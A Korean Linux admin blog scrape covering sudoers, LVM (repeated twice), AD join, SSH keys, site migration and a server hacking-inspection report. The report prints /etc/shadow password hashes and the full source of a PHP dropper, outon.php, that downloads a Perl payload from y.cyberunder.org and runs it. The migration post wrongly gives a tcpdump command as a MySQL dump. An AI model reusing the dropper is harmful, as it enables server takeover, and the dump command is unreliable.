리눅스에서 필요에 따라 관리자 권한 설정이 필요하다.

계정별 또는 그룹별로 sudo 권한 설정이 가능하며, 해당 권한을 /etc/sudoers 파일에서 설정한다.

 

※ 테스트 환경 :  ubuntu 16.04 , centos6 (설정방법 동일)

 

/etc/sudoers 설정파일

 

1) 기본설정

root       ALL=(ALL)     ALL

 

2) les 계정에 sudo 권한설정

형식 : user명    ALL=(ALL)     ALL
내용 : les        ALL=(ALL)     ALL

 

3) les계정이 sudo 명령어 사용시 패스워드 묻지 않음.

형식 : user명   ALL=(ALL)     NOPASSWD: /sbin/shutdown
내용 : les       ALL=(ALL)     NOPASSWD: /sbin/shutdown

 

4) seok 계정이 sudo shutdown 명령어 사용시 패스워드 묻지 않음.

형식 : user명    ALL=(ALL)     NOPASSWD: ALL
내용 : seok      ALL=(ALL)     NOPASSWD: ALL

 

5) wheel 그룹에 속한 계정들은 sudo 사용가능

형식 : %그룹명  ALL=(ALL)      ALL
내용 : %wheel  ALL=(ALL)      ALL

 

6) wheel 그룹에 속한 계정들이 sudo 명령어 사용시 패스워드 묻지 않음.

형식 : %그룹명  ALL=(ALL)      NOPASSWD: ALL
내용 : %wheel  ALL=(ALL)      NOPASSWD: ALL

 

위처럼 내용 수정 후에 :wq! 로 저장해야 저장이 된다.

 

 

Posted by 실력키우기

리눅스에서 LVM 이란?

Logical Volume Manager 의 약자로 한글로 말하면 논리 볼륨 관리자 라고 할수 있는데, 물리적인 하나의 하드디스크를 논리적으로 쪼개서 사용할수도 있고, 여러개의 하드디스크를 논리적으로 합쳐서 하나로 보여지게도 가능하다.

 

한개의 물리적 디스크의 용량이 작던 시절에는 여러개의 디스크를 합쳐서 하나의 볼륨으로 사용하는 경우가 많았으나, 요새는 물리적 디스크의 용량이 크게 나오기때문에 기존에 사용중인 디스크의 용량을 확장시킨다거나 관리용으로 많이 사용되어 지는것 같다.

 

◆ 작업 Flow

[LVM처음 생성시]

1. 파티션 생성 -> 2. 피지컬볼륨 생성 -> 3. 볼륨그룹 생성 -> 4. 로지컬볼륨 생성 -> 5. 파일시스템 생성 -> 6. 마운트

 

 

1) 파티션 생성

명령어 : parted /dev/sdb
(parted) mklabel gpt
(parted) mkpart primary 0 100%
Warning: The resulting partition is not properly aligned for best performance.
Ignore/Cancel? Ignore
(parted) set 1 lvm on
(parted) print
(parted) q

 

2) 피지컬볼륨 생성

형식 : pvcreate [피지컬볼륨경로]
명령어 : pvcreate /dev/sdb1

 

 

3) 볼륨그룹 생성

형식 : vgcreate [볼륨그룹이름] [피지컬볼륨선택]
명령어 : vgcreate test_vg /dev/sdb1

- 설명 : test_vg라는 볼륨그룹을 생성하며, 피지컬볼륨sdb1를 등록

 

 

4) 로지컬볼륨 생성

형식 : lvcreate -n [로지컬볼륨이름] -ㅣ [용량할당] [볼륨그룹이름]
명령어 : lvcreate -n test_lv -l 100%FREE test_vg

- 설명 : test_lv라는 볼륨을 생성하고, test_vg의 용량100%를 test_lv에 할당

 

 

5) 파일시스템 생성

형식 : [생성할 파일시스템] [로지컬볼륨경로]
명령어 : mkfs.xfs /dev/test_vg/test_lv

- 설명 : xfs파일시스템 생성

 

 

6) 마운트

형식 : [생성한 lv절대경로] [마운트할 디렉터리]
명령어 : mount /dev/test_vg/test_lv /test_lv

 

 

◆ 작업 Flow

[사용하던 LVM에 디스크 추가 및 LV용량 확장시]

1. 파티션 생성 -> 2. 피지컬볼륨 생성 -> 3. 기존 볼륨그룹에 추가 -> 4. 기존 로지컬볼륨에 용량 추가 -> 5. 적용

 

1) 파티션 생성

명령어 : parted /dev/sdc
(parted) mklabel gpt
(parted) mkpart primary 0 100%

Warning: The resulting partition is not properly aligned for best performance.
Ignore/Cancel? Ignore
(parted) set 1 lvm on
(parted) print
(parted) q

 

 

2) 피지컬볼륨 생성

형식 : pvcreate [피지컬볼륨경로]
명령어 : pvcreate /dev/sdc1

 

 

3) 기존 볼륨그룹에 추가

형식 : vgextend [볼륨그룹이름] [피지컬볼륨경로]
명령어 : vgextend test_vg /dev/sdc1

- 설명 : test_vg 볼륨그룹에 피지컬볼륨sdc1를 추가

 

 

4) 기존 로지컬볼륨에 용량 추가

형식 : lvextend [로지컬볼륨경로] -l [용량할당]
명령어 : lvextend /dev/test_vg/test_lv -l +100%FREE

- 설명 : test_vg의 남아있는 용량100%를 test_lv에 던져준다.

 

 

5) 확장된 용량 적용 (리사이징)

형식 : xfs_growfs [로지컬볼륨경로]
명령어 : xfs_growfs /dev/test_vg/test_lv

 

 

※  xfs_growfs 가 안될 경우 해결방법 (ex.문제볼륨 /dev/test_vg/test_lv)

작업 Flow

1. umount -> 2. 파일시스템 체크 -> 3. 마운트 -> 4. 리사이징

 

1) umount

명령어 : umount /test_lv

 

2) 파일시스템 체크

# fsck /dev/test_vg/test_lv

 

3) 마운트

# mount /dev/test_vg/test_lv /test_lv

 

4) 리사이징

# xfs_growfs /dev/test_vg/test_lv

 

※ 작업시 파일시스템 ext4와 xfs의 차이점은 리사이징 명령어가 다름.

Posted by 실력키우기

리눅스에서 LVM 이란?

Logical Volume Manager 의 약자로 한글로 말하면 논리 볼륨 관리자 라고 할수 있는데, 물리적인 하나의 하드디스크를 논리적으로 쪼개서 사용할수도 있고, 여러개의 하드디스크를 논리적으로 합쳐서 하나로 보여지게도 가능하다.

 

한개의 물리적 디스크의 용량이 작던 시절에는 여러개의 디스크를 합쳐서 하나의 볼륨으로 사용하는 경우가 많았으나, 요새는 물리적 디스크의 용량이 크게 나오기때문에 기존에 사용중인 디스크의 용량을 확장시킨다거나 관리용으로 많이 사용되어 지는것 같다.

 

◆ 작업 Flow

[LVM처음 생성시]

1. 파티션 생성 -> 2. 피지컬볼륨 생성 -> 3. 볼륨그룹 생성 -> 4. 로지컬볼륨 생성 -> 5. 파일시스템 생성 -> 6. 마운트

 

1) 파티션 생성

명령어 : fdisk /dev/sdb
n(새 파티션 생성) -> p(primary) -> 1(default) -> Enter -> Enter -> t(파티션 종류 지정) -> 8e(LVM) -> w(저장)

 

 

2) 피지컬볼륨 생성

형식 : pvcreate [피지컬볼륨경로]
명령어 : pvcreate /dev/sdb1

 

 

3) 볼륨그룹 생성

형식 : vgcreate [볼륨그룹이름] [피지컬볼륨선택]
명령어 : vgcreate test_vg /dev/sdb1

- 설명 : test_vg라는 볼륨그룹을 생성하며, 피지컬볼륨sdb1를 등록

 

 

4) 로지컬볼륨 생성

형식 : lvcreate -n [로지컬볼륨이름] -ㅣ [용량할당] [볼륨그룹이름]
명령어 : lvcreate -n test_lv -l 100%FREE test_vg

- 설명 : test_lv라는 볼륨을 생성하고, test_vg의 용량100%를 test_lv에 할당

 

 

5) 파일시스템 생성

형식 : [생성할 파일시스템] [로지컬볼륨경로]
명령어 : mkfs.ext4 /dev/test_vg/test_lv

- 설명 : ext4파일시스템 생성

 

 

6) 마운트

형식 : [생성한 lv절대경로] [마운트할 디렉터리]
명령어 : mount /dev/test_vg/test_lv /test_lv

 

 

◆ 작업 Flow

[사용하던 LVM에 디스크 추가 및 LV용량 확장시]

1. 파티션 생성 -> 2. 피지컬볼륨 생성 -> 3. 기존 볼륨그룹에 추가 -> 4. 기존 로지컬볼륨에 용량 추가 -> 5. 적용

 

1) 파티션 생성

명령어 : fdisk /dev/sdc
n(새 파티션 생성) -> p(primary) -> 1(default) -> Enter -> Enter -> t(파티션 종류 지정) -> 8e(LVM) -> w(저장)

 

 

2) 피지컬볼륨 생성

형식 : pvcreate [피지컬볼륨경로]
명령어 : pvcreate /dev/sdc1

 

 

3) 기존 볼륨그룹에 추가

형식 : vgextend [볼륨그룹이름] [피지컬볼륨경로]
명령어 : vgextend test_vg /dev/sdc1

- 설명 : test_vg 볼륨그룹에 피지컬볼륨sdc1를 추가

 

 

4) 기존 로지컬볼륨에 용량 추가

형식 : lvextend [로지컬볼륨경로] -l [용량할당]
명령어 : lvextend /dev/test_vg/test_lv -l +100%FREE

- 설명 : test_vg의 남아있는 용량100%를 test_lv에 던져준다.

 

 

5) 확장된 용량 적용 (리사이징)

형식 : resize2fs [로지컬볼륨경로]
명령어 : resize2fs /dev/test_vg/test_lv

 

 

※  resize2fs가 안될 경우 해결방법 (ex.문제볼륨 /dev/test_vg/test_lv)

작업 Flow

1. umount -> 2. 파일시스템 체크 -> 3. 마운트 -> 4. 리사이징

 

1) umount

명령어 : umount /test_lv

 

2) 파일시스템 체크

명령어 : fsck /dev/test_vg/test_lv

 

3) 마운트

명령어 : mount /dev/test_vg/test_lv /test_lv

 

4) 리사이징

명령어 : resize2fs /dev/test_vg/test_lv

 

Posted by 실력키우기

[ 네트워크 드라이브 연결 확인방법 ]


[해당 윈도우 에 공유된 폴더 확인 방법


제어판 -> 관리도구 -> 컴퓨터 관리 -> 시스템도구 -> 공유 폴더 항목에서 상세한 공유 정보 확인 가능



[ 해당 윈도우 에 연결된 네트워크 드라이브 상세정보확인 방법 ]


시작 -> 실행 -> msinfo32 입력 -> 소프트웨어 환경 -> 네트워크 연결 항목에서 확인

Posted by 실력키우기

[ 우분투 AD 가입 ]


윈도우 AD 서버에 우분투 서버도 가입을 할수 있다.


가입 방법은 아래와 같다.


1. https://github.com/BeyondTrust/pbis-open/releases 에서 버전에 맞는 파일다운로드

2. AD가입을 원하는 우분투pc 및 서버에 업로드

3. chmod 777 pbis-open-8.6.1.455.linux.x86_64.deb.sh     -> 권한 변경

4. ./pbis-open-8.6.1.455.linux.x86_64.deb.sh      -> 해당 스크립트 실행

5. /opt/pbis/bin/config UserDomainPrefix MOBIS.hkmg.global        -> 해당 명령어를 입력하여 mobis.hkmg.global에 대한 기본 구성을 설정

6. /opt/pbis/bin/config AssumeDefaultDomain True       -> true로 설정하면 로그인시에 도메인 이름을 입력하지 않아도됨

7. /opt/pbis/bin/config LoginShellTemplate /bin/bash      -> 기본 설정 (bash 쉘)

8. cd /opt/pbis/bin/      -> 해당 디렉토리로 이동

9. domainjoin-cli join MOBIS.hkmg.global mobisadmin       -> AD서버 패스워드 입력하면 AD가입 완료





Posted by 실력키우기

[ ssh-keygen ]

 

ssh-keygen 란? 키값을 생성하고 공개키를 보내주면, 해당 서버에 ssh 로 접근을 할때 패스워드를 묻지않고 바로 접속이 되도록 해주는 기능

 


[마스터서버]

 

chmod 700 /root/.ssh

 

#cd /root/.ssh/

 

ssh-keygen -t rsa     -> 해당 명령어치고 엔터만 누르면 됨 

 

scp id_rsa.pub root@클라이언트IP:/root/.ssh/        ->    해당파일을 클라이언트에 보낼것

 

[ 클라이언트 ]

 

# cd /root/.ssh

 

# cat id_rsa.pub >> authorized_keys     ->    id_rsa.pub 파일의 내용을 authorized_keys 파일에 넣겠다는 의미 authorized_keys파일이 없을경우 생성할것

 

이제부터 ssh root@마스터서버IP 를 할경우 패스워드를 묻지않고 바로 접속이 됨.

 

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

 

마스터서버에서 클라이언트로 id_rsa.pub 파일을 보낼때 ssh-copy-id -i id_rsa.pub root@클라이언트IP 이런식으로 보낼경우

자동으로 authorized_keys 파일로 변경이 됨. 즉 클라이언트에서 따로 작업해줄 필요가 없음 

Posted by 실력키우기

[리눅스 서버 사이트이전]


한 서버의 사이트가 돌아가기 위해 구동되고 있는 APM,java,tomcat,설정파일 및 시스템환경을 그대로 다른서버로 옮기는 작업을 사이트 이전이라 한다.



[APM 설치 전 확인]


1 > 현재 사이트가 정상적으로 작동하고 있는 도메인 확인


2 > APM 버전 확인


3 > apache 및 php 모듈확인


4 > /usr/local/src/httpd-2.4.3/config.nice     -> apache 컨피그 파일 확인


5 > /usr/local/src/php-5.2.17/config.nice     -> php 컨피그 파일 확인


6 > /usr/local/src/mysql-5.1.34/config.log    -> mysql 컨피그 파일 확인


7 > tcpdump -uroot -p -A > dump.sql           -> mysql 덤프작업



[옮겨야 하는 파일]


> /etc/passwd     -> 해당 파일을 통채로 옮기면 정상작동안할 가능성있음 (백업 후 내용만 복사하여 옮길것)


> /etc/shadow    -> 해당 파일을 통채로 옮기면 정상작동안할 가능성있음 (백업 후 내용만 복사하여 옮길것)


> /etc/group       -> 해당 파일을 통채로 옮기면 정상작동안할 가능성있음 (백업 후 내용만 복사하여 옮길것)


> /etc/fstab         -> 마운트 부분 확인하기


> /etc/crontab     -> crontab 에 무엇이 돌아가고 있는지 확인하여 해당 파일들도 옮길것


> /etc/my.cnf       -> mysql 설정파일 복사


> /usr/local/apache/conf/httpd.conf        -> 아파치 같은 버전으로 설치 후 백업해놓은 뒤 디렉토리 자체를 덮어 씌어도 정상작동함


> /usr/local/apache/conf/php.ini        -> php설정파일 복사


> /etc/sysconfig/iptables                     -> iptables 파일 복사


> /home/*            -> 홈소스 복사



[ 설치 및 셋팅 후 마무리 작업 ]


> host파일에서 신서버 ip로 해당도메인 질의되게끔 변경하여 확인후 문제없이 잘 작동 할경우 아래 작업 진행


> db 및 홈소스 동기화 (보통 홈소스는 변경이 안되며, db만 다시 덤프떠서 맞춰주면됨)


> 네임서버에서 해당도메인 신서버로 IP 변경작업 (네임서버자체를 변경하는 작업이 아니면 보통 10분 안에 정상질의 됨)




'Linux Server > etc' 카테고리의 다른 글

[기타] 우분투 AD 가입  (0) 2018.08.26
[기타] ssh 패스워드 없이 로그인 하기  (0) 2018.04.15
[ 기타 ] 해킹점검  (0) 2018.03.02
[기타] Iptables 설치 및 설정  (1) 2018.02.26
[기타] rsync 설치 및 사용법  (0) 2017.08.08
Posted by 실력키우기


 

 

[해킹점검]



[해킹점검시 유용한 명령어]

[root@localhost src]# w    

[root@localhost src]# netstat -anutp

[root@localhost src]# cat /var/log/message 및 모든로그 확인  // 글자가 깨져있을경우 크래킹이나 해킹의심

[root@localhost src]# pstree uid

[root@localhost src]# lsof |grep uid

[root@localhost src]# last -n 100

[root@localhost src]# vi /etc/passwd , /etc/shadow



[아래 내용은 최근 100회 로그인 내역입니다]

점검한PC 와 106.248.76.211(고객측 아이피로 추정) 에서만 접근 로그가 있으며, 이상없는것으로 판단.

 

[root@localhost src]# last -n 100

15445077 pts/2 115.68.87.2 Sat Sep 17 13:09 still logged in

15445077 pts/0 115.68.87.2 Sat Sep 17 12:41 still logged in

15445077 pts/0 115.68.87.2 Sat Sep 17 12:30 - 12:31 (00:00)

15445077 pts/1 115.68.87.2 Sat Sep 17 12:16 still logged in

15445077 pts/0 115.68.87.2 Sat Sep 17 11:15 - 12:30 (01:14)

15445077 pts/0 115.68.87.2 Thu Sep 1 18:11 - 19:17 (01:05)

15445077 pts/0 106.248.76.211 Wed Jun 22 11:28 - 18:48 (07:19)

root pts/0 115.68.87.2 Thu Jun 9 15:14 - 15:28 (00:14)

15445077 pts/0 106.248.76.211 Wed Jun 8 13:33 - 19:39 (06:05)

15445077 pts/1 106.248.76.211 Wed Jun 8 10:59 - 13:24 (02:25)

root pts/0 115.68.87.2 Wed Jun 8 10:50 - 11:05 (00:15)

15445077 pts/0 115.68.87.2 Wed Jun 8 10:47 - 10:48 (00:01)

15445077 pts/0 106.248.76.221 Tue May 24 17:34 - 18:01 (00:26)

15445077 pts/0 106.248.76.221 Thu May 19 10:43 - 17:57 (07:13)

15445077 pts/1 localhost Tue Apr 5 00:21 - 00:23 (00:02)

15445077 pts/0 localhost Tue Apr 5 00:16 - 00:23 (00:07)

15445077 pts/0 106.248.76.221 Fri Apr 1 10:15 - 14:07 (03:51)

15445077 pts/0 106.248.76.221 Mon Mar 28 17:48 - 18:13 (00:25)

15445077 pts/0 106.248.76.221 Fri Mar 25 10:37 - 11:07 (00:29)

15445077 pts/1 115.68.87.2 Fri Mar 4 10:24 - 11:02 (00:38)

15445077 pts/1 106.248.76.221 Fri Jan 29 10:52 - 17:15 (06:23)

15445077 pts/1 106.248.76.221 Thu Jan 28 10:41 - 18:34 (07:52)

15445077 pts/1 106.248.76.221 Wed Jan 27 11:05 - 18:14 (07:09)

15445077 pts/1 106.248.76.221 Mon Jan 25 13:22 - 18:19 (04:56)

15445077 pts/1 106.248.76.221 Mon Jan 25 10:15 - 11:39 (01:24)

15445077 pts/1 106.248.76.221 Fri Jan 15 16:54 - 18:43 (01:48)

15445077 pts/1 106.248.76.221 Thu Jan 14 16:53 - 18:21 (01:27)

15445077 pts/1 106.248.76.221 Mon Jan 11 11:26 - 15:27 (04:00)

15445077 pts/1 115.68.87.2 Mon Jan 11 05:44 - 05:46 (00:02)

15445077 pts/1 115.68.87.2 Sat Jan 9 10:18 - 10:20 (00:01)

15445077 pts/1 115.68.87.2 Sat Jan 9 10:12 - 10:14 (00:01)

15445077 pts/2 115.68.87.2 Sat Jan 9 09:52 - 10:12 (00:20)

15445077 pts/1 222.122.6.29 Sat Jan 9 09:44 - 10:11 (00:27)

root pts/1 115.68.87.2 Sat Jan 9 05:33 - 08:58 (03:25)

root pts/1 115.68.87.2 Sat Jan 9 05:17 - 05:33 (00:15)

15445077 pts/2 115.68.87.2 Fri Jan 8 18:06 - 18:26 (00:20)

15445077 pts/3 115.68.87.2 Fri Jan 8 17:54 - 17:55 (00:00)

15445077 pts/2 115.68.87.2 Fri Jan 8 17:53 - 18:03 (00:10)

15445077 pts/3 115.68.87.2 Fri Jan 8 16:59 - 17:08 (00:09)

15445077 pts/3 115.68.87.2 Fri Jan 8 16:55 - 16:58 (00:03)

15445077 pts/3 115.68.87.2 Fri Jan 8 16:44 - 16:46 (00:02)

15445077 pts/2 115.68.87.2 Fri Jan 8 16:39 - 17:44 (01:05)

15445077 pts/2 115.68.87.2 Fri Jan 8 16:36 - 16:38 (00:02)

15445077 pts/1 106.248.76.221 Fri Jan 8 10:36 - 18:37 (08:01)

15445077 pts/1 106.248.76.221 Wed Jan 6 15:40 - 18:31 (02:50)

15445077 pts/1 106.248.76.221 Tue Jan 5 15:13 - 18:38 (03:25)

15445077 pts/1 106.248.76.221 Mon Jan 4 15:30 - 18:07 (02:36)

root pts/1 115.68.87.2 Mon Jan 4 14:45 - 15:06 (00:21)

15445077 pts/1 106.248.76.221 Wed Dec 30 18:08 - 19:00 (00:52)

root pts/1 115.68.87.2 Wed Dec 30 17:03 - 17:05 (00:02)

root pts/1 115.68.87.2 Wed Dec 30 16:52 - 17:03 (00:10)

15445077 pts/1 115.68.87.2 Wed Dec 30 16:52 - 16:52 (00:00)

root pts/2 115.68.87.2 Tue Dec 29 11:25 - 11:39 (00:13)

15445077 pts/2 115.68.87.2 Tue Dec 29 11:25 - 11:25 (00:00)

15445077 pts/1 106.248.76.221 Tue Dec 29 10:14 - 19:30 (09:15)

15445077 pts/2 106.248.76.221 Mon Dec 28 16:13 - 18:25 (02:11)

root pts/1 115.68.87.2 Mon Dec 28 15:47 - 17:34 (01:47)

15445077 pts/1 106.248.76.221 Thu Dec 24 10:12 - 19:06 (08:54)

15445077 pts/1 106.248.76.221 Wed Dec 23 11:37 - 18:39 (07:01)

root tty1 Wed Dec 23 13:41 still logged in

15445077 pts/1 115.68.87.2 Wed Dec 23 13:38 - 04:46 (-8:-51)

15445077 pts/2 115.68.87.2 Wed Dec 23 01:21 - 01:21 (00:00)

15445077 pts/1 106.248.76.221 Tue Dec 22 18:54 - 02:41 (07:46)

15445077 pts/2 115.68.87.2 Tue Dec 22 02:51 - 03:13 (00:22)

15445077 pts/1 106.248.76.221 Tue Dec 22 01:47 - 04:12 (02:24)

15445077 pts/1 106.248.76.221 Mon Dec 21 21:43 - 01:04 (03:20)

15445077 pts/1 106.248.76.221 Thu Dec 17 00:46 - 02:58 (02:11)

15445077 pts/1 106.248.76.221 Mon Dec 14 22:58 - 04:03 (05:05)

15445077 pts/1 106.248.76.221 Wed Dec 9 22:31 - 00:26 (01:55)

15445077 pts/1 106.248.76.221 Wed Dec 9 00:14 - 04:36 (04:21)

15445077 pts/1 115.68.87.2 Sat Dec 5 18:19 - 18:19 (00:00)

root pts/2 115.68.87.2 Fri Dec 4 01:11 - 01:53 (00:42)

15445077 pts/1 106.248.76.221 Fri Dec 4 00:58 - 04:10 (03:12)

root pts/1 115.68.87.2 Fri Dec 4 00:55 - 00:56 (00:00)

15445077 pts/1 115.68.87.2 Fri Dec 4 00:20 - 00:20 (00:00)

root pts/1 115.68.87.2 Fri Dec 4 00:20 - 00:20 (00:00)

root pts/2 115.68.87.2 Fri Dec 4 00:03 - 00:20 (00:17)

root tty1 Fri Dec 4 00:00 - 01:42 (01:41)

15445077 pts/1 115.68.87.2 Thu Dec 3 23:56 - 00:08 (00:12)

15445077 pts/1 115.68.87.2 Thu Dec 3 23:53 - 23:54 (00:01)

root pts/0 115.68.87.2 Thu Dec 3 23:15 - 23:29 (00:14)

root pts/0 115.68.87.2 Thu Dec 3 18:21 - 19:40 (01:19)

root pts/0 115.68.87.2 Thu Dec 3 01:51 - 03:16 (01:25)

 

 

 

[아래 passwd파일에 대한 설명]

bash 권한을 가지고 있는 계정 root, 15445077, edu 3계정만 확인이 되며, 이부분 에서는 문제가 없는 것으로 판단.

또한 UID 부분이 0으로 되어있으면 일반 계정이 root 권한을 가지게 되는데, 확인결과 이상 계정없음.

 

# vi /etc/passwd

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin

vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin

rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin

abrt:x:173:173::/etc/abrt:/sbin/nologin

rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin

nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin

haldaemon:x:68:68:HAL daemon:/:/sbin/nologin

ntp:x:38:38::/etc/ntp:/sbin/nologin

saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin

postfix:x:89:89::/var/spool/postfix:/sbin/nologin

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin

tcpdump:x:72:72::/:/sbin/nologin

mysql:x:400:400::/usr/local/mysql:/bin/false

15445077:x:500:500::/home/15445077:/bin/bash

mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin

smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin

edu:x:501:100::/home/edu:/bin/bash

 

 

 

[아래 shadow 파일에 대한 설명입니다.]

해당 파일에는 각 계정에 대한 패스워드가 암호화 되어 있는 파일인데, 이상이 있을 경우 암호화 된 문자가 없이 해당 계정만 있을경우 그 계정이 해킹에 사용된 계정으로 의심할 수 있습니다.

Shadow 파일은 이상이 없는것으로 보여짐.

 

# vi /etc/shadow

root:$6$laqpukkw$56tn8pZ8cOrwoHdQj6YiWunDDA5jrDyyJpgKRJX7x520Wj0v9KK76JBkY6yDqT.yPkiJqxDvoUCNQcSAq0PKr.:17045:0:99999:7:::

bin:*:15980:0:99999:7:::

daemon:*:15980:0:99999:7:::

adm:*:15980:0:99999:7:::

lp:*:15980:0:99999:7:::

sync:*:15980:0:99999:7:::

shutdown:*:15980:0:99999:7:::

halt:*:15980:0:99999:7:::

mail:*:15980:0:99999:7:::

uucp:*:15980:0:99999:7:::

operator:*:15980:0:99999:7:::

games:*:15980:0:99999:7:::

gopher:*:15980:0:99999:7:::

ftp:*:15980:0:99999:7:::

nobody:*:15980:0:99999:7:::

dbus:!!:16771::::::

vcsa:!!:16771::::::

rpc:!!:16771:0:99999:7:::

abrt:!!:16771::::::

rpcuser:!!:16771::::::

nfsnobody:!!:16771::::::

haldaemon:!!:16771::::::

ntp:!!:16771::::::

saslauth:!!:16771::::::

postfix:!!:16771::::::

sshd:!!:16771::::::

oprofile:!!:16771::::::

tcpdump:!!:16771::::::

mysql:!!:16771:0:99999:7:::

15445077:$6$Duw5orzQ$FyCRVB5mQ7Og3XEB1p8crhm2pLC/2k3QYgTY/rCYSJkYG8hWHaL7jth4oEaPVRQVc7UGUsASK25mkCawYZB0d/:17045:0:99999:7:::

mailnull:!!:16771::::::

smmsp:!!:16771::::::

edu:$6$47LUPpye$eBuUcfNpZSLQW5Zil2S7cocuHAXUt6gmwmAAaWu/J7uGPKqzP5feeAijgV83MVty3X.svjpqYaNE8PnqHvJBX0:16772:0:99999:7:::

 

 

 

[lastlog 입니다. 계정별로 마지막으로 로그인했던 내역을 보여줍니다.]

고객님께서 사용하시는 계정 15445077계정 외 로그인 기록은 없음

 

사용자이름 포트 어디서 최근정보

root pts/0 115.68.87.2 69 15:14:33 +0900 2016

bin **한번도 로그인한 적이 없습니다**

daemon **한번도 로그인한 적이 없습니다**

adm **한번도 로그인한 적이 없습니다**

lp **한번도 로그인한 적이 없습니다**

sync **한번도 로그인한 적이 없습니다**

shutdown **한번도 로그인한 적이 없습니다**

halt **한번도 로그인한 적이 없습니다**

mail **한번도 로그인한 적이 없습니다**

uucp **한번도 로그인한 적이 없습니다**

operator **한번도 로그인한 적이 없습니다**

games **한번도 로그인한 적이 없습니다**

gopher **한번도 로그인한 적이 없습니다**

ftp **한번도 로그인한 적이 없습니다**

nobody **한번도 로그인한 적이 없습니다**

dbus **한번도 로그인한 적이 없습니다**

vcsa **한번도 로그인한 적이 없습니다**

rpc **한번도 로그인한 적이 없습니다**

abrt **한번도 로그인한 적이 없습니다**

rpcuser **한번도 로그인한 적이 없습니다**

nfsnobody **한번도 로그인한 적이 없습니다**

haldaemon **한번도 로그인한 적이 없습니다**

ntp **한번도 로그인한 적이 없습니다**

saslauth **한번도 로그인한 적이 없습니다**

postfix **한번도 로그인한 적이 없습니다**

sshd **한번도 로그인한 적이 없습니다**

oprofile **한번도 로그인한 적이 없습니다**

tcpdump **한번도 로그인한 적이 없습니다**

mysql **한번도 로그인한 적이 없습니다**

15445077 pts/2 115.68.87.2 917 13:09:10 +0900 2016

mailnull **한번도 로그인한 적이 없습니다**

smmsp **한번도 로그인한 적이 없습니다**

edu **한번도 로그인한 적이 없습니다**

 

  

[의심되는 아파치 로그]

아래내용은 아파치 로그이며, y.cyberunder.org에서 read.txt파일을 다운로드 하는 로그로 보여짐.

계속요청하는것으로 보아서 문제가 있는것으로 판단.

 

% Total % Received % Xferd Average Speed Time Time Time Current

Dload Upload Total Spent Left Speed

^M 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0^M100 8314 0 8314 0 0 12262 0 --:--:-- --:--:-- --:--:-- 17429^M100 54036 0 54036 0 0 54731 0 --:--:-- --:--:-- --:--:-- 68748

Number found where operator expected at read.txt line 2, near "IE 7"

(Do you need to predeclare IE?)

syntax error at read.txt line 2, near "[if"

Glob not terminated at read.txt line 5.

--2016-09-07 10:01:15-- http://y.cyberunder.org/read.txt

Resolving y.cyberunder.org... 104.27.132.20, 104.27.133.20

Connecting to y.cyberunder.org|104.27.132.20|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: unspecified [text/plain]

Saving to: `read.txt'

 

0K .......... .......... .......... .......... .......... 157K

50K .. 394K=0.3s

 

2016-09-07 10:01:16 (162 KB/s) - `read.txt' saved [54036]

Can't open perl script "read.txt": 그런 파일이나 디렉터리가 없습니다

Can't open perl script "read.txt.txt": 그런 파일이나 디렉터리가 없습니다

 

   

[의심되는 프로세스]

nobody 권한으로 의심되는 프로세스가 구동중.

해당 프로세스들 중지 조치.

 

nobody 18227 15597 0 13:41 ? 00:00:00 sh -c cd '/home/15445077' ; cd /tmp;lwp-download http://y.cyberunder.org/read.txt;perl read.txt;p

 

nobody 18228 18227 0 13:41 ? 00:00:00 /usr/bin/perl -w /usr/bin/lwp-download http://y.cyberunder.org/read.txt

 

  

 

[ftp 의심되는 로그 및 조치내용]

177.41.158.46 186.214.147.149 IP에서 고객님 15445077계정으로 접속하여

/home/15445077/ 경로에 outon.php 파일을 업로드 시킨 로그확인.

Outon.php 파일내용을 토대로 문제가 있을것으로 판단되는 아래 파일들을 /usr/local/src/hacking.tar로 격리조치.

“Outon.php” , “rm.txt” , “read.txt” , “scan.sc” , “neutrinos.sc” (/tmp에 위치했던 파일)

 

 

ftp로그

Wed Sep 7 01:19:39 2016 1 177.41.158.46 4765 /home/15445077/outon.php a _ i r 15445077 ftp 0 * c

Mon Sep 12 10:28:05 2016 1 186.214.147.149 4765 /home/15445077/outon.php a _ i r 15445077 ftp 0 * c

 

  

outon.php 파일의 내용

<?php

$url="http://y.cyberunder.org/";

exec('cd /tmp;curl -O '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

exec('cd /tmp;GET '.$url.'read.txt > read.txt;perl read.txt;rm -f read.txt*;');

exec('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

exec('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;perl read.txt.txt;rm -f read.txt*;');

exec('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

passthru('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

passthru('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

